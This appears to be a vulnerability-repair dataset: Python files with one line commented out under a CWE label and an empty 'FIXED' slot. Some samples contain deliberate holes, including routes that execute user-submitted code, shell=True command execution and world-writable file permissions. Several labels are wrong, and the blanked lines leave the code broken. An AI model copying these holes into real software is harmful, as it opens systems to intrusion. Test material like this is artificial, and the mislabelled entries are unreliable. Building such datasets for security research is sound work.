Optional[xml.sax.handler.ErrorHandler] = ...) -> None: ...\n\ndef _create_parser(parser_name: str) -> xml.sax.xmlreader.XMLReader: ...\n"} {"language": "python", "text": "from flask import Flask, request\nimport subprocess\nimport gunicorn\n\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"Hello, World with pipenv!\"\n\n@app.route('/execute', methods=['POST'])\ndef execute():\n with open('runtime.py', 'w') as f:\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# f.write(request.values.get('code'))\n# FIXED: \n\n \n\n return subprocess.check_output([\"python\", \"runtime.py\"])\n\n@app.route('/versions')\ndef versions():\n version = gunicorn.__version__\n return \"Gunicorn version: \" + version\n\napp.debug=True\n"} {"language": "python", "text": "import requests\n\nwebsites = ['google.com', 'youtube.com', 'facebook.com', 'twitter.com', 'instagram.com', 'baidu.com', 'wikipedia.org', 'yandex.ru', 'yahoo.com', 'xvideos.com', 'whatsapp.com', 'pornhub.com', 'amazon.com', 'xnxx.com', 'yahoo.co.jp', 'live.com', 'netflix.com', 'docomo.ne.jp', 'tiktok.com', 'reddit.com', 'office.com', 'linkedin.com', 'dzen.ru', 'vk.com', 'xhamster.com', 'samsung.com', 'turbopages.org', 'mail.ru', 'bing.com', 'naver.com', 'microsoftonline.com', 'twitch.tv', 'discord.com', 'bilibili.com', 'pinterest.com', 'zoom.us', 'weather.com', 'qq.com', 'microsoft.com', 'globo.com', 'roblox.com', 'duckduckgo.com', 'news.yahoo.co.jp', 'quora.com', 'msn.com', 'realsrv.com', 'fandom.com', 'ebay.com', 'aajtak.in', 'ok.ru', 't.me', 'sharepoint.com', 'bbc.co.uk', 'nytimes.com', 'espn.com', 'uol.com.br', 'google.com.br', 'amazon.co.jp', 'bbc.com', 'stripchat.com', 'zhihu.com', 'cnn.com', 'indeed.com', 'imdb.com', 'spankbang.com', 'instructure.com', 'rakuten.co.jp', 'booking.com', 'paypal.com', 'apple.com', 'accuweather.com', 'amazon.de', 'etsy.com', 'chaturbate.com', 'news.google.com', 'cricbuzz.com', 'spotify.com', 'google.de', 'ya.ru', 'walmart.com', 'github.com', 'aliexpress.com', 'theguardian.com', 'messenger.com', 'yiyouliao.com', 'amazon.co.uk', 'dailymail.co.uk', 'canva.com', 'hotstar.com', 'amazon.in', 'avito.ru', 'disneyplus.com', 'archiveofourown.org', 'xhamster18.desi', 'line.me', 'pixiv.net', 'google.co.uk', 'marca.com', 'taobao.com', 'xvideos2.com']\n\ndef grab_cookies():\n total, done = len(websites), 0\n with open('cookies.txt', 'w') as cookies_save:\n for website in websites:\n for prefix in ['http://', 'https://']:\n cookies_save.write('\\n\\n' + prefix + website + '\\n')\n try:\n session = requests.Session()\n website = website.replace('\\n', '')\n response = session.get(prefix + website.replace('\\n', ''))\n\n cookies = session.cookies.get_dict()\n for cookie_name in cookies.keys():\n cookies_save.write(cookie_name + ' -> ' + cookies[cookie_name] + '\\n')\n \n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# request = requests.get(prefix + website.replace('\\n', ''))\n# FIXED: \n\n \n\n for cookie in request.cookies:\n cookies_save.write(cookie.name + ' -> ' + cookie.value + '\\n')\n except: cookies_save.write('Error\\n')\n done += 1\n return True\n"} {"language": "python", "text": "#!/usr/bin/env python\n# Python Network Programming Cookbook, Second Edition -- Chapter - 7\n# This program is optimized for Python 2.7.12 and Python 3.5.2.\n# It may run on any other version with/without modifications.\n\nfrom flask import Flask\napp = Flask(__name__)\n\n@app.route('/')\ndef index(num=1):\n \n# BUG: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n# return \"Your Python Web Service
Fibonacci(\"+ str(num) + \"): \"+ str(fibonacci(num))+ \"
Square(\"+ str(num) + \"): \"+ str(square(num))\n# FIXED: \n\n \n\n\ndef fibonacci(n):\n if n == 0:\n return 0\n elif n == 1:\n return 1\n else:\n return fibonacci(n-1) + fibonacci(n-2)\n\n\ndef square(n):\n print (\"Calculating for the number %s\" %n)\n return n*n\n\nif __name__ == '__main__':\n app.run(debug=True)\n"} {"language": "python", "text": "import platform\n\ndef download_file(url):\n import requests\n local_filename = url.split('/')[-1]\n # NOTE the stream=True parameter\n r = requests.get(url, stream=True)\n with open(local_filename, 'wb') as f:\n for chunk in r.iter_content(chunk_size=1024):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n #f.flush() commented by recommendation from J.F.Sebastian\n return local_filename\n\n\n\n\n\n\ndef get_chromiumdrive():\n os_version = platform.platform()\n if 'Windows' in os_version:\n keyword = 'win'\n elif 'Darwin' in os_version:\n keyword = 'mac'\n elif 'Linux' in os_version:\n keyword = 'linux'\n else:\n assert False, 'Unrecognized operating system: ' + os_version\n\n import requests\n import re\n from bs4 import BeautifulSoup as BS\n\n res = requests.get('http://chromedriver.chromium.org/downloads')\n text = res.text\n r = re.findall(r'\"https://chromedriver\\.storage\\.googleapis\\.com/index\\.html\\?path=([\\d\\.]+)/+\"', text)\n url = 'https://chromedriver.storage.googleapis.com/?delimiter=/&prefix={}/'.format(r[0])\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# res = requests.get(url)\n# FIXED: \n\n \n\n text = res.text\n soup = BS(text, 'xml')\n for contents in soup.find_all('Contents'):\n if keyword in contents.find('Key').text:\n url = 'https://chromedriver.storage.googleapis.com/' + contents.find('Key').text\n filename = download_file(url)\n\n import zipfile\n\n with zipfile.ZipFile(filename, 'r') as zip_ref:\n extracted = zip_ref.namelist()\n zip_ref.extractall('.')\n\n import os\n import stat\n\n st = os.stat(extracted[0])\n os.chmod(extracted[0], st.st_mode | stat.S_IEXEC)\n\n\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/juzs\").json()\n# FIXED: \n\n \n\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "from flask import Flask\nfrom flask import render_template\nfrom flask import request\nfrom flask import jsonify\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@app.route('/results', methods=['POST'])\ndef results():\n a = float(request.form['numberA'])\n \n# BUG: CWE-704: Incorrect Type Conversion or Cast\n# b = float(request.form['numberB'])\n# FIXED: \n\n \n\n\n sum_ab = a + b\n mult_ab = a * b\n div_ab = a / b\n\n res = {\n 'a': a,\n 'b': b,\n 'sum_ab': sum_ab,\n 'mult_ab': mult_ab,\n 'div_ab': div_ab\n }\n\n return jsonify(res)\n"} {"language": "python", "text": "#!/usr/bin/env python3\n# -*- coding:utf-8 -*-\n###\n# File: test_Quran_api.py\n# Created: Tuesday, 28th July 2020 3:24:47 pm\n# Author: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Last Modified: Wednesday, 29th July 2020 1:27:22 am\n# Modified By: Rakibul Yeasin (ryeasin03@gmail.com)\n# -----\n# Copyright (c) 2020 Slishee\n###\n\nimport requests as rq\n\nfrom quran import Quran\n\n# res = quran.get_recitations()\n# res = quran.get_translations()\n# res = quran.get_languages(language='ur')\n# res = quran.get_tafsirs()\n# res = quran.get_chapters(6, language=\"ur\")\n# res = quran.get_verses(6, recitation=1, translations=21, language=\"en\", text_type=\"words\")\n# res = quran.get_verse(6, 6)\n# res = quran.get_juzs()\n\nqur = Quran()\n\ndef test_get_recitations():\n assert qur.get_recitations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/recitations\").json()\n\ndef test_get_translations():\n assert qur.get_translations() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/translations\").json()\n\ndef test_get_languages():\n assert qur.get_languages(language='ur') == rq.get(\n \"http://api.quran.com:3000/api/v3/options/languages?language=bn\").json()\n\ndef test_get_tafsirs():\n assert qur.get_tafsirs() == rq.get(\n \"http://api.quran.com:3000/api/v3/options/tafsirs\").json()\n\ndef test_get_chapter():\n assert qur.get_chapter(1, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1?language=en\").json()\n\ndef test_get_chapters():\n qur.get_chapter(language=\"en\") # == rq.get(\n # \"http://api.quran.com:3000/api/v3/chapters?language=en\").json()\n\ndef test_get_chapter_info():\n assert qur.get_chapter(1, info=True, language=\"en\") == rq.get(\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# \"http://api.quran.com:3000/api/v3/chapters/1/info?language=en\").json()\n# FIXED: \n\n \n\n\ndef test_get_verses():\n assert qur.get_verses(1, text_type=\"words\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses?text_type=words\").json()\n\ndef test_get_verse():\n assert qur.get_verse(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1\").json()\n\ndef test_get_juzs():\n assert qur.get_juzs() == rq.get(\n \"http://api.quran.com:3000/api/v3/juzs\").json()\n\ndef test_get_tafsirs_from_verse_id():\n assert qur.get_tafsirs_from_verse_id(chapter_id=1, verse_id=1) == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs\").json()\n\ndef test_get_tafsir_from_verse_id():\n assert qur.get_tafsir_from_verse_id(chapter_id=1, verse_id=1, tafsirs=\"ar_baghawy\") == rq.get(\n \"http://api.quran.com:3000/api/v3/chapters/1/verses/1/tafsirs?tafsirs=ar_baghawy\").json()\n\ndef test_search():\n assert qur.search(q=\"imran\", size=20, page=0, language=\"en\") == rq.get(\n \"http://api.quran.com:3000/api/v3/search?q=imran&size=20&page=0&language=en\").json()\n\n\nprint(test_get_chapters())\n"} {"language": "python", "text": "#!/usr/bin/env python3\n###\n# (C) Copyright (2014-2017) Hewlett-Packard Development Company, L.P.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n###\n\nfrom __future__ import unicode_literals\nfrom __future__ import print_function\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom future import standard_library\n\nstandard_library.install_aliases()\n\nimport hpICsp\nimport argparse\nimport configparser\nimport os\nimport stat\nimport time\n\n# Retrieve various credentials from a configuration file.\nparser = argparse.ArgumentParser(description='Process config file')\nparser.add_argument('--file',\n dest='configFile',\n type=str,\n help='Config File',\n default='config.cfg')\nargs = parser.parse_args()\nconfig = configparser.RawConfigParser()\nconfig.read(args.configFile)\n\n# Credentials to login to appliance.\napplianceIP = config.get('Main', 'applianceIP')\napplianceUser = config.get('Main', 'applianceUser')\nappliancePassword = config.get('Main', 'appliancePassword')\n\n\n# Exports the content of an appliance, creating a file name containing the current time.\ndef main():\n # Creates a connection with the appliance.\n con = hpICsp.connection(applianceIP)\n # Create objects for all necessary resources.\n st = hpICsp.settings(con)\n\n # Login using parsed login information\n credential = {'userName': applianceUser, 'password': appliancePassword}\n con.login(credential)\n\n # Export appliance content\n bytesContent = st.export_content()\n\n # Write content to zip file containing current time.\n name = (\"Backup \" + time.strftime(\"%c\") + \".zip\")\n newFile = open(name, \"wb\")\n newFile.write(bytesContent)\n \n# BUG: CWE-276: Incorrect Default Permissions\n# os.chmod(name, stat.S_IRWXO | stat.S_IRWXG | stat.S_IRWXU)\n# FIXED: \n\n \n\n newFile.close()\n\n # Logout of appliance\n con.logout()\n\n\nif __name__ == '__main__':\n import sys\n\n sys.exit(main())\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n import xml.etree.cElementTree as default_etree\nexcept ImportError:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.ElementTree as default_etree\n# FIXED: \n\n \n\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "# Copyright (c) 2011 Google Inc. All rights reserved.\n# Use of this source code is governed by a BSD-style license that can be\n# found in the LICENSE file.\n\n\"\"\"Applies a fix to CR LF TAB handling in xml.dom.\n\nFixes this: http://code.google.com/p/chromium/issues/detail?id=76293\nWorking around this: http://bugs.python.org/issue5752\nTODO(bradnelson): Consider dropping this when we drop XP support.\n\"\"\"\n\n\n\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.dom.minidom\n# FIXED: \n\n \n\n\n\ndef _Replacement_write_data(writer, data, is_attrib=False):\n \"\"\"Writes datachars to writer.\"\"\"\n data = data.replace(\"&\", \"&\").replace(\"<\", \"<\")\n data = data.replace('\"', \""\").replace(\">\", \">\")\n if is_attrib:\n data = data.replace(\"\\r\", \" \").replace(\"\\n\", \" \").replace(\"\\t\", \" \")\n writer.write(data)\n\n\ndef _Replacement_writexml(self, writer, indent=\"\", addindent=\"\", newl=\"\"):\n # indent = current indentation\n # addindent = indentation to add to higher levels\n # newl = newline string\n writer.write(indent + \"<\" + self.tagName)\n\n attrs = self._get_attributes()\n a_names = sorted(attrs.keys())\n\n for a_name in a_names:\n writer.write(' %s=\"' % a_name)\n _Replacement_write_data(writer, attrs[a_name].value, is_attrib=True)\n writer.write('\"')\n if self.childNodes:\n writer.write(\">%s\" % newl)\n for node in self.childNodes:\n node.writexml(writer, indent + addindent, addindent, newl)\n writer.write(f\"{indent}{newl}\")\n else:\n writer.write(\"/>%s\" % newl)\n\n\nclass XmlFix:\n \"\"\"Object to manage temporary patching of xml.dom.minidom.\"\"\"\n\n def __init__(self):\n # Preserve current xml.dom.minidom functions.\n self.write_data = xml.dom.minidom._write_data\n self.writexml = xml.dom.minidom.Element.writexml\n # Inject replacement versions of a function and a method.\n xml.dom.minidom._write_data = _Replacement_write_data\n xml.dom.minidom.Element.writexml = _Replacement_writexml\n\n def Cleanup(self):\n if self.write_data:\n xml.dom.minidom._write_data = self.write_data\n xml.dom.minidom.Element.writexml = self.writexml\n self.write_data = None\n\n def __del__(self):\n self.Cleanup()\n"} {"language": "python", "text": "#!/usr/bin/python3\n\"\"\"Script that takes your GitHub credentials\"\"\"\n\n\nif __name__ == \"__main__\":\n import sys\n import requests\n url = \"http://0.0.0.0:5000/search_user\"\n if len(sys.argv) == 1:\n data = {'q': \"\"}\n else:\n data = {'q': sys.argv[1]}\n try:\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url, data)\n# FIXED: \n\n \n\n json = response.json()\n if not json:\n print(\"No result\")\n else:\n print(\"[{}] {}\".format(json.get(\"id\"), json.get(\"name\")))\n except:\n print(\"Not a valid JSON\")\n"} {"language": "python", "text": "import subprocess\nfrom functools import wraps\nfrom tgchizu import LOGGER, dispatcher\nfrom tgchizu import OWNER_ID\nfrom telegram import ParseMode, Update\nfrom telegram.ext import CallbackContext, CommandHandler\nfrom telegram.ext.dispatcher import run_async\n\ndef dev_plus(func):\n \n @wraps(func)\n def is_dev_plus_func(update: Update, context: CallbackContext, *args,\n **kwargs):\n bot = context.bot\n user = update.effective_user\n\n if user.id == OWNER_ID:\n return func(update, context, *args, **kwargs)\n elif not user:\n pass\n else:\n update.effective_message.reply_text(\n \"This is a developer restricted command.\"\n \" You do not have permissions to run this.\")\n\n return is_dev_plus_func\n\n@dev_plus\n\ndef shell(update: Update, context: CallbackContext):\n message = update.effective_message\n cmd = message.text.split(' ', 1)\n if len(cmd) == 1:\n message.reply_text('No command to execute was given.')\n return\n cmd = cmd[1]\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# process = subprocess.Popen( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n# FIXED: \n\n \n\n stdout, stderr = process.communicate()\n reply = ''\n stderr = stderr.decode()\n stdout = stdout.decode()\n if stdout:\n reply += f\"*Stdout*\\n`{stdout}`\\n\"\n LOGGER.info(f\"Shell - {cmd} - {stdout}\")\n if stderr:\n reply += f\"*Stderr*\\n`{stderr}`\\n\"\n LOGGER.error(f\"Shell - {cmd} - {stderr}\")\n if len(reply) > 3000:\n with open('shell_output.txt', 'w') as file:\n file.write(reply)\n with open('shell_output.txt', 'rb') as doc:\n context.bot.send_document(\n document=doc,\n filename=doc.name,\n reply_to_message_id=message.message_id,\n chat_id=message.chat_id)\n else:\n message.reply_text(reply, parse_mode=ParseMode.MARKDOWN)\n\n\nSHELL_HANDLER = CommandHandler(['sh', 'shell', 'term', 'terminal'], shell)\ndispatcher.add_handler(SHELL_HANDLER)\n"} {"language": "python", "text": "#!/usr/bin/env python2\n\nimport requests\nimport json\n\ndef main():\n module = AnsibleModule(\n argument_spec = dict(\n host = dict(required=True),\n username = dict(required=True),\n password = dict(required=True)\n )\n )\n \n device = module.params.get('host')\n username = module.params.get('username')\n password = module.params.get('password')\n\n url='http://' + host + '/ins'\n switchuser=username\n switchpassword=password\n\n myheaders={'content-type':'application/json-rpc'}\n \n payload=[\n {\n \"jsonrpc\": \"2.0\",\n \"method\": \"cli\",\n \"params\": {\n \"cmd\": \"show version\",\n \"version\": 1.2\n },\n \"id\": 1\n }\n ]\n \n# BUG: CWE-319: Cleartext Transmission of Sensitive Information\n# response = requests.post(url,data=json.dumps(payload), headers=myheaders,auth=(switchuser,switchpassword)).json()\n# FIXED: \n\n \n\n\n version = response['result']['body']['sys_ver_str']\n data = json.dumps({\"version\": version})\n module.exit_json(changed=False, msg=str(data))\n\n\nfrom ansible.module_utils.basic import AnsibleModule\nif __name__ == '__main__':\n main()\n\n"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.parsers.expat as expat\n# FIXED: \n\n \n\n"} {"language": "python", "text": "#!/usr/bin/env python\n#\n# See the accompanying LICENSE file.\n#\nimport urllib2\nimport hashlib\nimport re\n\nsqlitevers=(\n '3081101',\n '3081100',\n '3081002',\n '3081001',\n '3081000',\n '3080900',\n '3080803',\n '3080802',\n '3080801',\n '3080800',\n '3080704',\n '3080703',\n '3080702',\n '3080701',\n '3080700',\n '3080600',\n '3080500',\n '3080403',\n '3080402',\n '3080401',\n '3080400',\n '3080301',\n '3080300',\n '3080200',\n '3080100',\n '3080002',\n '3080001',\n '3080000',\n '3071700',\n '3071602',\n '3071601',\n '3071600',\n '3071502',\n '3071501',\n '3071500',\n '3071401',\n '3071400',\n '3071300',\n '3071201',\n '3071200',\n '3071100',\n '3071000',\n '3070900',\n '3070800',\n '3070701',\n '3070700',\n '3070603',\n '3070602',\n '3070601',\n '3070600',\n )\n\n# Checks the checksums file\n\ndef getline(url):\n for line in open(\"checksums\", \"rtU\"):\n line=line.strip()\n if len(line)==0 or line[0]==\"#\":\n continue\n l=[l.strip() for l in line.split()]\n if len(l)!=4:\n print \"Invalid line in checksums file:\", line\n raise ValueError(\"Bad checksums file\")\n if l[0]==url:\n return l[1:]\n return None\n\ndef check(url, data):\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# d=[\"%s\" % (len(data),), hashlib.sha1(data).hexdigest(), hashlib.md5(data).hexdigest()]\n# FIXED: \n\n \n\n line=getline(url)\n if line:\n if line!=d:\n print \"Checksums mismatch for\", url\n print \"checksums file is\", line\n print \"Download is\", d\n else:\n print url,\n if url.endswith(\".zip\"):\n print \" \",\n print d[0], d[1], d[2]\n\n# They keep messing with where files are in URI - this code is also in setup.py\ndef fixup_download_url(url):\n ver=re.search(\"3[0-9]{6}\", url)\n if ver:\n ver=int(ver.group(0))\n if ver>=3071600:\n if ver>=3080800:\n year=\"2015\"\n elif ver>=3080300:\n year=\"2014\"\n else:\n year=\"2013\"\n if \"/\"+year+\"/\" not in url:\n url=url.split(\"/\")\n url.insert(3, year)\n return \"/\".join(url)\n return url\n\nfor v in sqlitevers:\n # Windows amalgamation\n AURL=\"https://sqlite.org/sqlite-amalgamation-%s.zip\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n # All other platforms amalgamation\n AURL=\"https://sqlite.org/sqlite-autoconf-%s.tar.gz\" % (v,)\n AURL=fixup_download_url(AURL)\n try:\n data=urllib2.urlopen(AURL).read()\n except:\n print AURL\n raise\n check(AURL, data)\n"} {"language": "python", "text": "import os\nimport hashlib\nfrom os.path import join\n\nhashes = dict()\nfor (dirname, dirs, files) in os.walk('.'):\n for filename in files:\n if filename.endswith('.txt') :\n thefile = os.path.join(dirname,filename)\n fhand = open(thefile,'r')\n data = fhand.read()\n fhand.close()\n \n# BUG: CWE-327: Use of a Broken or Risky Cryptographic Algorithm\n# hash = hashlib.md5(data).hexdigest()\n# FIXED: \n\n \n\n # print thefile, hash\n if hash in hashes:\n print hashes[hash], thefile\n else:\n hashes[hash] = thefile\n"} {"language": "python", "text": "from __future__ import absolute_import, division, unicode_literals\n\nfrom types import ModuleType\n\ntry:\n \n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.etree.cElementTree as default_etree\n# FIXED: \n\n \n\nexcept ImportError:\n import xml.etree.ElementTree as default_etree\n\n\n__all__ = [\"default_etree\", \"MethodDispatcher\", \"isSurrogatePair\",\n \"surrogatePairToCodepoint\", \"moduleFactoryFactory\"]\n\n\nclass MethodDispatcher(dict):\n \"\"\"Dict with 2 special properties:\n\n On initiation, keys that are lists, sets or tuples are converted to\n multiple keys so accessing any one of the items in the original\n list-like object returns the matching value\n\n md = MethodDispatcher({(\"foo\", \"bar\"):\"baz\"})\n md[\"foo\"] == \"baz\"\n\n A default value which can be set through the default attribute.\n \"\"\"\n\n def __init__(self, items=()):\n # Using _dictEntries instead of directly assigning to self is about\n # twice as fast. Please do careful performance testing before changing\n # anything here.\n _dictEntries = []\n for name, value in items:\n if type(name) in (list, tuple, frozenset, set):\n for item in name:\n _dictEntries.append((item, value))\n else:\n _dictEntries.append((name, value))\n dict.__init__(self, _dictEntries)\n self.default = None\n\n def __getitem__(self, key):\n return dict.get(self, key, self.default)\n\n\n# Some utility functions to dal with weirdness around UCS2 vs UCS4\n# python builds\n\ndef isSurrogatePair(data):\n return (len(data) == 2 and\n ord(data[0]) >= 0xD800 and ord(data[0]) <= 0xDBFF and\n ord(data[1]) >= 0xDC00 and ord(data[1]) <= 0xDFFF)\n\n\ndef surrogatePairToCodepoint(data):\n char_val = (0x10000 + (ord(data[0]) - 0xD800) * 0x400 +\n (ord(data[1]) - 0xDC00))\n return char_val\n\n# Module Factory Factory (no, this isn't Java, I know)\n# Here to stop this being duplicated all over the place.\n\n\ndef moduleFactoryFactory(factory):\n moduleCache = {}\n\n def moduleFactory(baseModule, *args, **kwargs):\n if isinstance(ModuleType.__name__, type(\"\")):\n name = \"_%s_factory\" % baseModule.__name__\n else:\n name = b\"_%s_factory\" % baseModule.__name__\n\n if name in moduleCache:\n return moduleCache[name]\n else:\n mod = ModuleType(name)\n objs = factory(baseModule, *args, **kwargs)\n mod.__dict__.update(objs)\n moduleCache[name] = mod\n return mod\n\n return moduleFactory\n"} {"language": "python", "text": "import subprocess\n\nwhile True:\n \n# BUG: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')\n# subprocess.call([\"ulimit -t7200; python collect1.py\"],shell=True)\n# FIXED: \n\n \n\n"} {"language": "python", "text": "import os\nimport requests\n\n\ndef download_file(url, path):\n \"\"\"\n def download_model(model_url)\n download pretrained h5 __model file\n Args:\n url (str): __model download url\n path (str): download path\n Returns:\n True if download succeed\n False otherwise\n \"\"\"\n try:\n request = requests.get(url, allow_redirects=True)\n path_parent = os.path.abspath(os.path.join(path, os.pardir))\n os.makedirs(path_parent, exist_ok=True)\n \n# BUG: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')\n# open(path, 'wb').write(request.content)\n# FIXED: \n\n \n\n return True\n except:\n return False\n\n\ndef update_model(model_path):\n pass"} {"language": "python", "text": "\n# BUG: CWE-611: Improper Restriction of XML External Entity Reference\n# import xml.dom.minidom\n# FIXED: \n\n \n\n\ndocument = \"\"\"\\\n\nDemo slideshow\nSlide title\nThis is a demo\nOf a program for processing slides\n\n\nAnother demo slide\nIt is important\nTo have more than\none slide\n\n\n\"\"\"\n\ndom = xml.dom.minidom.parseString(document)\n\ndef getText(nodelist):\n rc = []\n for node in nodelist:\n if node.nodeType == node.TEXT_NODE:\n rc.append(node.data)\n return ''.join(rc)\n\ndef handleSlideshow(slideshow):\n print(\"\")\n 